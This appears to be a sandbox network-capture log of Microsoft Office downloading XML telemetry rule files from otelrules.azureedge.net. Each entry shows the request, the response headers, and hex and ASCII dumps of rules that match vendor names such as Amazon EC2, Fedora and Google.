2024-11-16 19:13:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:03 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 191b9440-801e-00a3-5a28-377cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191303Z-164f84587bf9nk94hC1DFWerbg000000023g00000000nmcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:03 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:03 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:03 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191303Z-16547b76f7fnlq8chC1DFWxnen00000002u000000000qr2g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:03 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:04 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:04 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191304Z-16547b76f7f7zzl8hC1DFWmtag00000001z000000000s4qy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:04 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:04 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1f260c93-f01e-00aa-587d-378521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191304Z-164f84587bfsqsthhC1DFWh630000000028000000000he9t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:04 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:04 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:04 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 9bf0a44d-f01e-001f-4809-375dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191304Z-164f84587bfsgfx9hC1DFWw1as000000030g00000000kf8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:04 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:04 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:04 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:04 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191304Z-16547b76f7fgfpmjhC1DFWw6ec00000002n000000000fekh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:04 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:04 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:04 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:04 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191304Z-1866b5c5fbb55pxzhC1DFW1aps00000003a00000000001h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:04 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:05 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:05 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 885b0192-801e-0035-0c09-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191305Z-1866b5c5fbbfkdfghC1DFW4sv400000002dg00000000128q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:05 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:05 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 0ff73494-201e-0085-1d7b-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191305Z-164f84587bf6n6jwhC1DFW90fn000000029000000000s34h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:05 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 885b02a2-801e-0035-1509-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191305Z-16547b76f7fgvq8chC1DFWhd2w00000003wg0000000019ef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:05 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:05 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7f17f6e1-501e-00a3-5daf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191305Z-16547b76f7fbkfmzhC1DFWm9tw00000002s000000000p457 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:05 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
